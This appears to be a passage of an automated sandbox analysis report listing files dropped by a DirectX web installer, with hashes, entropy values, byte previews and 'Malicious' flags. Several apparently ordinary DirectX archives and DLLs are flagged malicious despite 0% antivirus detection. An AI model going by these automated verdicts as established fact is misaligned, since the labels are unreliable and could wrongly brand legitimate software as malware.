Size (bytes):	1615654
Entropy (8bit):	7.999772423092358
Encrypted:	true
SSDEEP:	24576:xFtN95ew18Yl4WTrZnZSibmmq18Whxp9pWISiIz9cXwowwenm2AB4qDA2mV7Q:newRFZ8ib6T3p9pW9/Z4bM/XkA+
MD5:	901567428D8C82756D7BF5A406441BD7
SHA1:	6E3C22147F3DA77AC8F20D615CA32B5EF2A0ED28
SHA-256:	32356344AEDDF709C9D5302D8F3FCC1FF1BE2E82D8D17833A2086400AF248794
SHA-512:	6FD4C429E32480BDFF4E58BA8BC0D28FE97C9FF5EF1FABBB856230EFA669246A354F99B723E7483D548B74C121AC8BA9CBA2B5BC3C18F35EE828302D392CF6ED
Malicious:	true
Preview:	MSCF....V.......D...........................V....#..................X.?.......i:k{..d3dx9_41.dll.....X.?...p:.r..d3dx9_41_x86.cat.......?...p:.r..d3dx9_41_x86.inf.,.....?...p:.r..d3dx9_41_x86_xp.inf.\.....?...p:.r..Mar2009_d3dx9_41_x86.inf.x..#.9..[.... .3......$Q.f...<...!..vW]....]eJ.Uaq....a.Zk....}_..=hk..C.=...."......?1<..izt.`Y.._ .....H.`...uI35.:.,L.....I.;...........&...B......I....!@.A...A....a......................#..&.E....J..%. ......!..Q0..P.F......$.!...q..yXf..d....7,v......Y.....Q......EI.&..Rm....d.I....D........WJ...`.u..WK..K........yQo...2...W.U\.C.m...a.k.kpq.U..C.5.Hh).......<R.s.l.+.......);........%.g.g.....i..I.U.).H......l./._...<.C....a....U8.'.,.0GR....=.5....E.......jln..MKiliw..Q......,.2{..k...\.X$.......Q4..??...ns...?....t.\|.8U..>WJ./.>S..Vp.....0...3 ....'!....,R........Ph..#.t.7=.?p....D.....hX..H....J.`...Z.......$7t.......a...\|S....(..G. ...V+`...,.X.P..lZ`...X>Bt....E*aM..(`..0......BA3..p.%..OE.c``.BU....).P5

C:\Windows\SysWOW64\directx\websetup\Nov2007_d3dx10_36_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 797924 bytes, 6 files, at 0x44 +A "d3dx10_36_x86.cat" +A "d3dcompiler_36.dll", flags 0x4, ID 9083, number 1, extra bytes 20 in head, 56 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	807092
Entropy (8bit):	7.998858073625772
Encrypted:	true
SSDEEP:	24576:EL+Y8gC2xQcaINcDDHwNXjNOl93uN850V7ZcR0SEDR3l3M:vD2xaINcDHIzhs0Vwz6c
MD5:	3D9A0C59156D03DA0F19C2440E695637
SHA1:	55B050991CB17410C75ADC3913066BAEDB482ED0
SHA-256:	BDF7FB01C02783A4F8C9F5E7911F5CAE3E2A7CBC425B90B36F9EA6EEF2C27DE3
SHA-512:	E9A662498C43865E917F0778B772D6964517E41289CBF5A0B8A4E44D8C4B4E9A5049C76F2ECBE4ACC7E9CFCC3F1D87A75C3F8703E66804CE758969814BA14FDA
Malicious:	true
Preview:	MSCF.....,......D...............{#...........,...#..............8...h(........V7.. .d3dx10_36_x86.cat.....h(....L7.y .d3dcompiler_36.dll.h.... ....B7.O .d3dx10_36.dll.I.........V7P. .d3dx10_36_x86.inf.i...1.....V7P. .d3dx10_36_x86_xp.inf.c.........V7P. .nov2007_d3dx10_36_x86.inf..d.....CK..8.....Y..^(4cK.......H....0..F.]1..$.(W...P.-..J.).[.%Q....M.v......>Os.c.......=.\|.}..d.r.5....q.s.J..*k8....y89....e...D...Q.!aL./,..l...@~N..J~..)...=..].)......o.@.... ......,R...".@&L.i..........Z.6`..C.......]6.Z.._V..J T.B......l......,..t.6.....md.p..5...l.....B...aI,.F.mU..<T...@Hf.......d{..... ..1.0$.....j.AE..#'..'.%..%....4..p..P.g%..(.H..d..........R#..L..H. mXq..c......6tU$....cii.e............1dA...f.... .........U.B..b.....Fj.z;x...f2. gY.....9.u24. .O&....!E-.....R.d+...5.b..![.dG.....""{U.C...........9p.M....Y\|.\f......E....).J...d..0.l.A......0$.....}....e......t..^W..LM(.$,... +.....A..K...f.p..dD...,..E2n..2/k-...d.E2.-.@.S...1.........pA..H..

C:\Windows\SysWOW64\directx\websetup\Nov2007_d3dx9_36_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1703400 bytes, 5 files, at 0x44 +A "d3dx9_36_x86.cat" +A "d3dx9_36.dll", flags 0x4, ID 7211, number 1, extra bytes 20 in head, 115 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1712568
Entropy (8bit):	7.999078652914364
Encrypted:	true
SSDEEP:	24576:fMb9V3TN8vuaBYlFhEbpdjRsI+CpoUjrn++qWYxhiUX21LVpmI9P2BZbcNU7YBP1:kJEvlmFMpdj/Npocz++q3X2tnLAcm0Bt
MD5:	C5E127067EE6CACDD2F8962E6005542E
SHA1:	22C571E4DA75A6E5DFE02E3E3587F40C2939C745
SHA-256:	F52CC1304B533083B3FC5553C49433C0E4E46D66D567B9DE0B558CA518DB1544
SHA-512:	E70DF11AF8CB5D51C3111B8327371EA40292580F06D7D265F2449B89A4941C4740BDE904367FBCB4158512939BBD7C7A3DC20D3642475789FC075A2AE8E27860
Malicious:	true
Preview:	MSCF............D...............+................#..............s...>'........V7.. .d3dx9_36_x86.cat...8.>'....L7.y .d3dx9_36.dll.....F#9...V7O. .d3dx9_36_x86.inf.,...Q&9...V7O. .d3dx9_36_x86_xp.inf.\...}(9...V7O. .nov2007_d3dx9_36_x86.inf..*G~.;..CK..TS..._....E..)...!4...iR.....Z."] .."......K..T@.B.....]....\|...w......y...w.3w..7..//s..R3...H.N{/..F.Yj..J..@..a^.........,.a.^M....".!.,T>......T. .h..-..]./.8.^..../%..q0....x..',4.....Y.9...2..!+...!]Pp.J.`...=.B.W<(.........d.d.l/.Xq,9}9> ..l.}....@......R.dY.x.8@.(..C!.?...)....f.-a.l.+6..U..vbO.q.%]s.....H...$g.... .=...l8. X2.I@.b....Y.V"...[..f5{.$`K.e3.....PE;.Nx`@.f..$....r...i>[..$]`A.:.....jv~.gg...Y....M.....x7...H..'.J.y..oV......j.aU...fc....U..i.....B.q..N>...`........`H9XVN.r..![.+..!H...B..i.-....r...f`l....V.?{.z..H.Ym../.o...Q...p....<d..,....9.7O..c....d.<.`.L..!..{...b .>.QH..)..B.........,...Hx..$a8N.^.rE.+Z..c#h...Xu..,.D"b.h..z$=....G./...l....z./.F..)..v....v':..5....G...... ...p

C:\Windows\SysWOW64\directx\websetup\Nov2008_d3dx10_40_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 959461 bytes, 6 files, at 0x44 "d3dx10_40.dll" "D3DCompiler_40.dll", flags 0x4, ID 8926, number 1, extra bytes 20 in head, 77 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	968629
Entropy (8bit):	7.999011847061652
Encrypted:	true
SSDEEP:	24576:JKTxCzc8gSDnU8Hz10a0s65QckarHGlImJtXn+QbtU0sHsqzn:mxCzs29r0WQma69nBbtU0sjzn
MD5:	5DFEB46E60795266DA03F2D0A67E7ACD
SHA1:	A77758873E5544E8AD22ACF469C4A0FD0C944A88
SHA-256:	EC52B075A3E9C7FE468B317E0FF977964B1003D560065128741F4392BF47C49A
SHA-512:	6EC058811AC017BE3CD3A46559CD73126666F41B0FA58D92C1168CF2A2E0E2357B19F65531C786EC81A438975DBECE440C5E7B6C653AFA5428CE6C444179AF6C
Malicious:	true
Preview:	MSCF...........D................"..............#..............M...X.........O9.2..d3dx10_40.dll.`...X.....O9.2..D3DCompiler_40.dll.......%...O9p:..d3dx10_40_x86.cat.I...g.&...O9h8..d3dx10_40_x86.inf.i.....&...O9h8..d3dx10_40_x86_xp.inf.c.... &...O9h8..Nov2008_d3dx10_40_x86.inf....X.0..CK..T...{..J........D...$.....$.2.....&L+...u..Q.5#f...W].9cN...w..Qd...y.......9~.}..]u+tOMM...r.].a.O..f7#.\........m.l._a.[..,4Q.&KU...c.eq1)).,V!S...)2...Y.^a.Q..b........y_x.W..Q^J^.j..P..gB...<w....E_).$j..q.\|y..{.'....1V-..N.bt..%...A.0K....u...O...K.u.F.H(u>.X.vbd.......)..Ltg)c.a..J..\|.V).N.F`G.Lxk..Rf.-.<1b...0..y...y!.g..F1Z.v..T..o......i.............!Jku.:..i...e.....Z.HR.0...6.....zk1..._.-.L....a).Gx.).........@6...........P.\....?`.....f...\|.r......L9......S.T ........o:J.'.E`?..x..?...$........z.......,.<.'..D.j .....G...3...G;.......p...&@W...;....^........R .X.....L ............-...........'.r`7........)........=......r..j,e..j.)..........uX)..p.B...

C:\Windows\SysWOW64\directx\websetup\Nov2008_d3dx9_40_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1544836 bytes, 5 files, at 0x44 "d3dx9_40.dll" "d3dx9_40_x86.cat", flags 0x4, ID 7155, number 1, extra bytes 20 in head, 134 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1554004
Entropy (8bit):	7.999645278979612
Encrypted:	true
SSDEEP:	24576:K3tdQkdeoPJLiej+pb7Q15LwQrpLeWvYMWbPBmcnILz+0Byna:2dvdeAweSBQPLwgpCWvYMQ5mcnIH+m
MD5:	75556D89FDD442967A23993C9111D997
SHA1:	003DE53653C0CC84F8C3D617D1F76FB475F1A7CB
SHA-256:	863AC3438F57158D4F53900C6924BFDC132AB43A5AF57D4658E65842836B4FA1
SHA-512:	6086114500DBBF4DB9D0A9C3F72732995BB9A3AB5C135EAD53143749B95651B37B64BE7A52CA09388DE90216FD00486FDFCFBC87D42D77FAC469F82B5290E06D
Malicious:	true
Preview:	MSCF............D................................#..................P.B.......O9.2..d3dx9_40.dll.....P.B...O9n:..d3dx9_40_x86.cat.......B...O9h8..d3dx9_40_x86.inf.,.....B...O9h8..d3dx9_40_x86_xp.inf.\.....B...O9h8..Nov2008_d3dx9_40_x86.inf..=.:.:..[.... .2......$Q.f...<....!Z.J.+...ea..U.q....ha.x.y...........=.h!............X.{.<,.....?..b.):.[J{....^=mv:.i.e..}9s............F.QN.^+.).p...!9.4L..B.k ....F.}..R.. ..D%P4@...'2.$C..EU..:_... ..=.....2...Q...H\|..2.hi....H3..%JA.O...s.n-..<.<..9;7p.wnxw,\|\|.....du.......)..$3CN.'.)j..\|...x.w..>..4.D..."..I.'.=.....$.7..m...J..F....0..F.XD..v....."*\|2...A.H.R..b.()! .\|..Hh`....Q.K...NH..9../^...\|[!.)k...8._C/~D.W..K4.}.B.T.b.Kw..si..6.E.#6w......_.,.>6{r$X&:....s.w......k....h'5......3...0XOG.^.=..j....sFg.jO. t..?.S.l5?.t...s....`...]......'$LJ.........Z]h.. ..h.l.5b....F..0......m.....P.....n....Z.... <..7.@...,`@..#.i.r....... ......@....\|....e/.pa...@Q.A..'.EL..7H..?^..C.........]i p..N7....:i.P.........

C:\Windows\SysWOW64\directx\websetup\Oct2006_d3dx9_31_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1121257 bytes, 5 files, at 0x44 +A "d3dx9_31_x86.cat" +A "d3dx9_31.dll", flags 0x4, ID 6911, number 1, extra bytes 20 in head, 75 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1130449
Entropy (8bit):	7.9990817245216945
Encrypted:	true
SSDEEP:	24576:fd5gyP75nbAgKdWsTLSCs3BZnH50ve35Jxroo6DS:F5fP75nbt0STRZn9nxrb5
MD5:	F778928C9EB950EF493857F76A5811AD
SHA1:	EA82D97077534751297AE0848FB1672E8F21E51E
SHA-256:	4891E2DEA9D1798F6A89308E58C61A38E612F8433301EA2376AE14C3DFCB3021
SHA-512:	1F382A287FC6763B8E8D66825E8256DFB7D0DEAD6B6A6B51DD7C4A5C86D536CC7EF4128BE0CE495FE17C859018750072DC7B43E3476D1BA435F209CC4EB6D43F
Malicious:	true
Preview:	MSCF............D................................#..............K.............<5m. .d3dx9_31_x86.cat...$.......<5.. .d3dx9_31.dll.......$...<5.. .d3dx9_31_w9x.inf.......$...<5.. .d3dx9_31_x86.inf.......$...<5.. .oct2006_d3dx9_31_x86.inf.j5o.s>..CK..\....oh"....Fl..'.......i.vC..... `..w...6.....`.....;..E..........l.w.3....Y,..+......yg.a.....$.`0...6...XZ4.FX..J...l.V..o;F^..lH....3'.f0..G.m..P.[>...G..j..c^....p.<OAO.N.q.Z.E...hk..H...'@../.B.....q`K...y"..-9.r.'.9...x.O.R.8.......c....`Gc..C....>......X.......\|0c..tz......./....-.faa.0..<,.V.^X..B......:/...y...3...X.GZ..T......Bi[.KY.x..A...3.[...s..l..J..U..h.../2Z"7......k....yB.E^.r....T........K.....,...X..)..C...z4.....b......o..yv5.!5...CD`&.\.<0..P.y9..e..`{m8..K.:(.....w..la..@.++.N... .y6.m.......,.c...[lc....d..AM.6........ .P...uD.........m...........m.e.`9t..+..aa..@5.y}r.\..rJ.={9f...3...fO4.u.V6u-z.....t.n...A..0%.T....L'.[K...Uh....Ul....vum.........N.U..).)Q...x.RaPk5..X3z.e...

C:\Windows\SysWOW64\directx\websetup\SET8E7C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	89944
Entropy (8bit):	6.418506334480987
Encrypted:	false
SSDEEP:	1536:gtBqvGpPmOEll4RWxiF9G3ZnVdqkFKJuTJbHo0Xm+jN3i97ZTj4FWMD+ZJqsHPCL:gtAvG5mOEll4Roi2pVVFKJuTVtXVpS9y
MD5:	0A23038EA472FFC938366EF4099D6635
SHA1:	6499D741776DC4A446C22EA11085842155B34176
SHA-256:	8F2C455C9271290DCDE2F68589CF825F9134BEECB7E8B7E2ECBCABEAB792280A
SHA-512:	DCC1C2EA86FD3A7870CD0369FA42F63D493895C546DCDD492EE19079A0D0696D689BBFE7B686D4FA549841896A54E673FC4581B80783D7AA255DFAD765B9DC88
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NOd..............V..........u...eX......eX......eX......eX..`...eX......eX......Rich............PE..L....A.L...........!.........N.......p.......0......................................2.....@..........................$..y............p..h............H..X.......`... ................................=..@............................................text............................... ..`.data...<0...0......................@....rsrc...h....p.......,..............@..@.reloc...............4..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\directx\websetup\SET8EBB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1801048
Entropy (8bit):	6.400511251324513
Encrypted:	false
SSDEEP:	49152:RjnIXtNeOOOOOOOOOOOOOOOOOiWeXiWeXiWeXiWeXiWeXiWeXiWeXiWeXiWeXiWI:5IjmY
MD5:	7672509436485121135C2A0E30B9E9FF
SHA1:	F557022A9F42FE1303078093E389F21FB693C959
SHA-256:	D7EA3CF1B9B639010005E503877026597A743D1068AE6A453CE77CC202796FEA
SHA-512:	E46FF68C4A532017F8AB15B1E46565508F6285B72C7A1CBE964ED5E75320C8E14587D01FEE61B3966F43636BFE74CEBD21F7665B4A726281E771CF9230E69863
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?.,.{.BZ{.BZ{.BZr..Zh.BZ{.CZ.BZ...Zi.BZ...Zz.BZ...Z..BZ...ZQ.BZ...Zz.BZ...Zz.BZRich{.BZ........................PE..L....A.L...........!.....`...................p............................................@..........................m......d^......................d..X....p... ......................................@............................................text....^.......`.................. ..`.data....4...p.......d..............@....rsrc...............v..............@..@.reloc...-...p.......6..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\directx\websetup\dsetup.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	89944
Entropy (8bit):	6.418506334480987
Encrypted:	false
SSDEEP:	1536:gtBqvGpPmOEll4RWxiF9G3ZnVdqkFKJuTJbHo0Xm+jN3i97ZTj4FWMD+ZJqsHPCL:gtAvG5mOEll4Roi2pVVFKJuTVtXVpS9y
MD5:	0A23038EA472FFC938366EF4099D6635
SHA1:	6499D741776DC4A446C22EA11085842155B34176
SHA-256:	8F2C455C9271290DCDE2F68589CF825F9134BEECB7E8B7E2ECBCABEAB792280A
SHA-512:	DCC1C2EA86FD3A7870CD0369FA42F63D493895C546DCDD492EE19079A0D0696D689BBFE7B686D4FA549841896A54E673FC4581B80783D7AA255DFAD765B9DC88
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NOd..............V..........u...eX......eX......eX......eX..`...eX......eX......Rich............PE..L....A.L...........!.........N.......p.......0......................................2.....@..........................$..y............p..h............H..X.......`... ................................=..@............................................text............................... ..`.data...<0...0......................@....rsrc...h....p.......,..............@..@.reloc...............4..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\directx\websetup\dsetup32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1801048
Entropy (8bit):	6.400511251324513
Encrypted:	false
SSDEEP:	49152:RjnIXtNeOOOOOOOOOOOOOOOOOiWeXiWeXiWeXiWeXiWeXiWeXiWeXiWeXiWeXiWI:5IjmY
MD5:	7672509436485121135C2A0E30B9E9FF
SHA1:	F557022A9F42FE1303078093E389F21FB693C959
SHA-256:	D7EA3CF1B9B639010005E503877026597A743D1068AE6A453CE77CC202796FEA
SHA-512:	E46FF68C4A532017F8AB15B1E46565508F6285B72C7A1CBE964ED5E75320C8E14587D01FEE61B3966F43636BFE74CEBD21F7665B4A726281E771CF9230E69863
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?.,.{.BZ{.BZ{.BZr..Zh.BZ{.CZ.BZ...Zi.BZ...Zz.BZ...Z..BZ...ZQ.BZ...Zz.BZ...Zz.BZRich{.BZ........................PE..L....A.L...........!.....`...................p............................................@..........................m......d^......................d..X....p... ......................................@............................................text....^.......`.................. ..`.data....4...p.......d..............@....rsrc...............v..............@..@.reloc...-...p.......6..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\directx\websetup\dxupdate.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 91192 bytes, 3 files, at 0x44 "dxupdate.dll" "dxupdate.inf", flags 0x4, ID 3666, number 1, extra bytes 20 in head, 8 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	100360
Entropy (8bit):	7.9900557178400815
Encrypted:	true
SSDEEP:	3072:lvknxJpNYAzRstaRkz0BwwnNbSa+vp5647S:FkZNXsERk6wwBSa+vnl2
MD5:	4AFD7F5C0574A0EFD163740ECB142011
SHA1:	3EBCA5343804FE94D50026DA91647442DA084302
SHA-256:	6E39B3FDB6722EA8AA0DC8F46AE0D8BD6496DD0F5F56BAC618A0A7DD22D6CFB2
SHA-512:	6F974ACEC7D6C1B6A423B28810B0840E77A9F9C1F9632C5CBA875BD895E076C7E03112285635CF633C2FA9A4D4E2F4A57437AE8DF88A7882184FF6685EE15F3F
Malicious:	true
Preview:	MSCF....8d......D...............R...........8d...#............................~>.%..dxupdate.dll.02........h=...dxupdate.inf.1...0.....~>.%..dxupdate.cif.T....'..CK.Z}.$.U....;..@.e!.#....G===.=+".?..+.s..l8....o.{....;.+..(...d,..HVd..,......(..[&H.........Y.Y..~..{.gv.vW.'.....^......^...}...1v....2.*.~.......y...a_.....^Z..V?H.Q..bo(..0.Ra...q(..`o....W.....4~...q.?...F.............].....~c...O7^..W..x.?...l.=.~$......'..o;.._.....'u.aK......=..X.........g........~.].[..+..\b._........p.=.....w...%..@.o-.....O2..w...~sn..D_:....G).../e.Q_/....=Y.x........p.0..^....w...A}..'..... ...P.7....3.av...?...Kl.......>t...O`..b.]....x..Y....._...x..}....@.....1.9.o....[.?.......)...g..'.1.i../.^.\|..=........x...L.6`...>..,...K./....6...........A.#.?.8.\|....?.\|......w%K.>@..(.I...9.../....].....%v7.>.....-@.p....E........6...Kc..p?@.....8.\|.p/..xg...7...^.(..7..X~?..........#...w...q..U....f.... ..?<.\...}.K.Z.,]+...../..-......e...aO....a9Y......Wg.

C:\Windows\SysWOW64\directx\websetup\filelist.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Generic INItialization configuration [DXUpdate]
Category:	dropped
Size (bytes):	5597
Entropy (8bit):	5.296209668714632
Encrypted:	false
SSDEEP:	96:1WtNC69hwety7h+IZpL51yFYy9NWzfQo1RaTwzxlWINXWgQ83HSbsO6ctBKi:8NV2ety7h+IZpt1eJ9NWzfxRaTwzxlWx
MD5:	4306E31CDC10F214300CE680C17B13B1
SHA1:	EB5F75D894789C98ADB67950F31C8093EE5ABF57
SHA-256:	A98AFB5653176C7FD18F08AA6E507BBD0670F023D62052800466383EB5F72EE4
SHA-512:	C57D7DCD753CBA6BFA4589E3561C70F8DC9AA25CBC39269C8CB6AABE431EED575929EF6CE9E3E53F121F4D9F68484D3C2995CA6795966ADDBF3089D975C47FF3
Malicious:	false
Preview:	[General]..Version=1..[DXUpdate]..Version=9,29,1962,0..Locale=en..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL0=100360,dxupdate.cab..[DXUpdate_Apr2006_xinput_x86]..Version=4,9,0,904..Locale=en..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL0=49218,Apr2006_xinput_x86.cab..[DXUpdate_Apr2006_xinput_x64]..Version=4,9,0,904..Locale=en..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL0=90309,Apr2006_xinput_x64.cab..[DXUpdate_Aug2006_xinput_x86]..Version=4,9,0,904..Locale=en..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL0=49266,Aug2006_xinput_x86.cab..[DXUpdate_Aug2006_xinput_x64]..Version=4,9,0,904..Locale=en..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL0=90350,Aug2006_xinput_x64.cab..[DXUpdate_Dec2006_d3dx10_x86]..Version=4,9,0,904..Locale=en..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL0=194952,Dec2006_d3dx10_00_x86.cab..[DXUpdate_Dec2006_d3dx10_x64]..Version=4,9,0,904..Locale=en..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL0=216015,Dec2006_d3dx10_00_x64.cab..[DXUpdate

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.416731759514638
Encrypted:	false
SSDEEP:	6144:+cifpi6ceLPL9skLmb0moSWSPtaJG8nAgex285i2MMhA20X4WABlGuNQ5+:Li58oSWIZBk2MM6AFBWo
MD5:	D51F3285E4C42877BC295BE77CA822DE
SHA1:	EAA757C3D5767905A88C9A00C4D941290C417484
SHA-256:	5F81075A7CC9B52E94813906E94E897C9783F6D3555DC75CA9821296C56AEF74
SHA-512:	926A65E16336EF2EE331619211EA4D44DBB6CCDE9432DC3E8A07745B00C7DC4BC27E17404FFD9D2B6170878F3FECB4ECB1A4B3C70F562F073A7D85F30C5AD870
Malicious:	false
Preview:	regfF...F....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...\]..............................................................................................................................................................................................................................................................................................................................................$J..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\msdownld.tmp\AS6BB1F2.tmp\dxupdate.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 91192 bytes, 3 files, at 0x44 "dxupdate.dll" "dxupdate.inf", flags 0x4, ID 3666, number 1, extra bytes 20 in head, 8 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	100360
Entropy (8bit):	7.9900557178400815
Encrypted:	true
SSDEEP:	3072:lvknxJpNYAzRstaRkz0BwwnNbSa+vp5647S:FkZNXsERk6wwBSa+vnl2
MD5:	4AFD7F5C0574A0EFD163740ECB142011
SHA1:	3EBCA5343804FE94D50026DA91647442DA084302
SHA-256:	6E39B3FDB6722EA8AA0DC8F46AE0D8BD6496DD0F5F56BAC618A0A7DD22D6CFB2
SHA-512:	6F974ACEC7D6C1B6A423B28810B0840E77A9F9C1F9632C5CBA875BD895E076C7E03112285635CF633C2FA9A4D4E2F4A57437AE8DF88A7882184FF6685EE15F3F
Malicious:	true
Preview:	MSCF....8d......D...............R...........8d...#............................~>.%..dxupdate.dll.02........h=...dxupdate.inf.1...0.....~>.%..dxupdate.cif.T....'..CK.Z}.$.U....;..@.e!.#....G===.=+".?..+.s..l8....o.{....;.+..(...d,..HVd..,......(..[&H.........Y.Y..~..{.gv.vW.'.....^......^...}...1v....2.*.~.......y...a_.....^Z..V?H.Q..bo(..0.Ra...q(..`o....W.....4~...q.?...F.............].....~c...O7^..W..x.?...l.=.~$......'..o;.._.....'u.aK......=..X.........g........~.].[..+..\b._........p.=.....w...%..@.o-.....O2..w...~sn..D_:....G).../e.Q_/....=Y.x........p.0..^....w...A}..'..... ...P.7....3.av...?...Kl.......>t...O`..b.]....x..Y....._...x..}....@.....1.9.o....[.?.......)...g..'.1.i../.^.\|..=........x...L.6`...>..,...K./....6...........A.#.?.8.\|....?.\|......w%K.>@..(.I...9.../....].....%v7.>.....-@.p....E........6...Kc..p?@.....8.\|.p/..xg...7...^.(..7..X~?..........#...w...q..U....f.... ..?<.\...}.K.Z.,]+...../..-......e...aO....a9Y......Wg.

C:\Windows\msdownld.tmp\AS6C255D.tmp\Apr2006_xinput_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 40050 bytes, 4 files, at 0x44 +A "xinput1_1_x86.cat" +A "xinput1_1.dll", flags 0x4, ID 6338, number 1, extra bytes 20 in head, 3 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	49218
Entropy (8bit):	7.962835058038329
Encrypted:	false
SSDEEP:	768:rrXN+lWp5tvn2v0JeuXfYYJDyRIvwde6hecBLdKd+d4RUJ6HwyQs34VvD4:3gl6tfTVXwcWuqe6htcaJyQW4VvD4
MD5:	E207FB904E641246F3F7234DB74121FC
SHA1:	1BE8C50C074699BDD9184714E9022B7A2F8BF928
SHA-256:	3FDF63211B0DD38069A9C1DF74D7BC42742DE003CEF72AD1486AAA92D74546FA
SHA-512:	ED95D53BC351C98C0322753265B0A21C98DF97D0E2FBBC58A6836BFF374B7540B0CEA21371CD4A7EAD654210A42E1F9809CAC6E4EAE2ECF0EF2B88E220DC37F7
Malicious:	false
Preview:	MSCF....r.......D...........................r....#.............................46f .xinput1_1_x86.cat............4.d .xinput1_1.dll............4.e .apr2006_xinput_x86.inf.....R......4.e .xinput1_1_x86.inf...G..>..CK..\SG.8\|....&l....-n.6....(Z........"PH..,...+.G.V..b..V....Zm.Z..Xm..ZQ..E.{.......}....&L.g.9s....Jz?tp..N.;.]Y....!...b......t.c..'D%v[...8.8..........F.spf2y,.Gpe.w.......d...o.vs.........G...).bQ....cE%....."..GH.`"....D..B!..i.1..... ..0.. ..K# ...@*...C!M....R....SDq.c...b....#!6....b.....(/.`.....Q....(.!.pE....lB.a....L.M..[..E.........\|...;.H!..".P.j........9..<.t.l....]5w.;...R.9qQx...@x..8.........$.1.az!.Z..?.rDP+...c..)U'J..E.H..j....%.......w.;..x.O...>........`0.A4..d.....dT...Q.3..y0.."..].x"...\|.C.bs.,...`..h..#D..y.v..OM.1u{..C .X.N......+0....f2...3;...@...P......Z.......H.x.E<....A.-.4OA.Vi.f......."n\....b\...\M+.e.....k.N.q.`....%.@.../Q..V.e...s..."w.......KI........4.u.p..J^.V....D....t.0J...H.HMVg.d....B.v.]..)..

C:\Windows\msdownld.tmp\AS6C2A7D.tmp\Apr2006_xinput_x64.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 81141 bytes, 5 files, at 0x44 +A "xinput1_1_x64.cat" +A "xinput1_1.dll", flags 0x4, ID 7457, number 1, extra bytes 20 in head, 5 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	90309
Entropy (8bit):	7.986243949537019
Encrypted:	false
SSDEEP:	1536:/0CNqg1WzKHJUq/JSlvxToeSNOUp9BttldRL9zaMNez4fbI9YKztrIrm:/hIg1cEJUxvxlSNOUpfttldRL9zkzAI5
MD5:	B0669F7D395078BEE0087B089F0B45C5
SHA1:	30506FC3DCE9532EF0A8CB3973347EC9C3C9875F
SHA-256:	E63A67783EF7624559F95AB697BF8AFBDAB7ACE31200283EF840E6B94AA16E5A
